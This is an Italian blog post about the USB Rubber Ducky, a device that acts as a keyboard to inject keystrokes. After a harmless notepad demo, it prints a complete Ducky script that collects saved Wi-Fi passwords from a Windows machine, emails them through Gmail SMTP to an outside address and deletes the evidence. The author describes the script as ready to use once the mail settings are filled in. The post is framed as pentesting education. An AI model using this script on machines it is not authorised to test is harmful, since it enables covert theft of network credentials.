USB Rubber DuckyBypassare firewall, IDS, IPS e sandbox varie è uno degli obiettivi di chi attacca, ci si ingegna su tecniche di evasione per occultare gli attacchi. Ma a volte la soluzione è facile ed efficace. Parliamoci chiaro, ci sono dei pregi e dei difetti in tutte le tecniche di attacco, nel caso del bad usb il problema è l’accesso fisico alla vittima.

Andiamo con ordine: per bad usb si intende quella tecnica tramite la quale il malware viene distribuito tramite device usb, tipicamente la classica chiavetta di memoria. Ma ad oggi i motori degli antivirus consentono di rilevare immediatamente anche questo tipo di minaccia, senza contare che negli ambienti più protetti è vietato l’uso delle chiavette usb di memoria… e allora come si fa?

Esiste una tipologia di chiavetta usb chiamata “USB Rubber Ducky”, che sembra una normalissima chiavetta usb, ma in realtà ha delle proprietà eccezionali. Una volta collegata ad un computer viene riconsociuta come una tastiera e non come una memoria, significa sostanzialmente che il computer vittima non opporrà nessuna resistenza al suo utilizzo… è un po’ come se pensasse:”Hey, è una tastiera, che male può farmi?”.

La Rubber Ducky contiene al suo interno una micro SD da 128Mb, all’interno della quale è possibile salvare degli script da eseguire non appena la chiavetta viene inserita. Lo scopo è quello di automatizzare le azioni possibili tramite una tastiera, quindi aprire applicazioni, digitare comandi, ecc.

La potenza di questo strumento sta nel fatto che è possibile sostanzialmente fare qualsiasi cosa entro pochi secondi… pensiamola dal punto di vista hacking: possiamo ad esempio preparare uno script che scarichi un malware da un sito web e lo esegua sulla macchina vittima. Il tutto si compierebbe nel giro di 5-7 secondi al massimo.

E’ un enorme vantaggio quando abbiamo accesso fisico alla nostra vittima ma abbiamo pochissimo tempo per lanciare il nostro attacco.

Pensiamo a cose come aprire una reverse shell, rubare credenziali, modificare il file hosts per effettuare DNS poisoning… tutto possibile nel giro di pochi secondi.

E’ chiaro che ci sono due vincoli:

  1. Dobbiamo avere accesso fisico alla macchina
  2. La macchina vittima dev’essere sbloccata

Il linguaggio di scripting che la rubber ducky usa è decisamente semplice ed è referenziato qui . Si usano comandi come “GUI r” ad esempio per aprire una finestra “Esegui” di windows, comodo per poi eseguire una powershell e dare successivi comandi.

Ci si può spostare con i tasti cursore usando la sintassi “DOWNARROW” o “LEFTARROW”… si, è veramente così semplice. Ma vediamo un esempio di script.

In questo esempio apriremo un notepad e scriveremo la frase “Hello World!!!”, vediamo come funziona:

 

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER

Il comando DELAY 3000 impone un’attesa di 3 secondi dopo l’inserimento della rubber ducky al fine di aspettare che il pc la riconosca correttamente, apriamo una finestra “esegui” con il comando “GUI r”, poi invochiamo il notepad e scriviamo la frase “Hello World!!!”.

Si evince facilmente che per far scrivere qualcosa alla rubber ducky esattamente come se lo stessimo digitando da tastiera è sufficiente specificare il comando “STRING”.

Facciamo qualcosa di più “dannoso”, proviamo ad esempio a rubare la password delle reti wi-fi e ad inviarle ad un nostro indirizzo email. Ecco come si fa:

 

REM Title: WiFi password grabber
REM Author: Siem
REM Version: 3
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000

REM --> Minimize all windows
WINDOWS d

REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000

REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER

REM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER

REM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER

REM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER

REM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER

REM --> Delete A.txt
STRING del A.txt
ENTER

REM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER

REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'PASSWORD')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[email protected]'
ENTER
STRING $ReportEmail.To.Add('[email protected]')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER

REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER

Ovviamente lo script va un po’ adattato inserendo i parametri per inviare correttamente la mail, ma per il resto è già pronto da utilizzare! Siccome si tratta di qualcosa che può essere fatto tramite il solo uso di una tastiera possiamo replicarlo a mano, è un po’ come fare debugging, basta seguire le istruzioni riportate nello script rispettando la sequenza e la sintassi.

Una volta preparato lo script va compilato. E’ possibile farlo usando un tool online oppure scaricando l’encoder a questo link.

Insieme alla chiaverra viene fornita anche la scheda micro SD e un lettore tramite il quale è possibile trasferire gli script compilati nella scheda. Questo strumento è necessario perchè non possiamo usare la rubber ducky per trasferire gli script nella micro sd.

Vi starete chiedendo dove si compra la rubber ducky. Ci sono vari siti che la vendono, tutti americani purtroppo, ma vi consiglio di acquistarla direttamente da questo link

Buon pentesting a tutti!

One thought on “USB Rubber Ducky. L’evoluzione degli attacchi bad usb

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *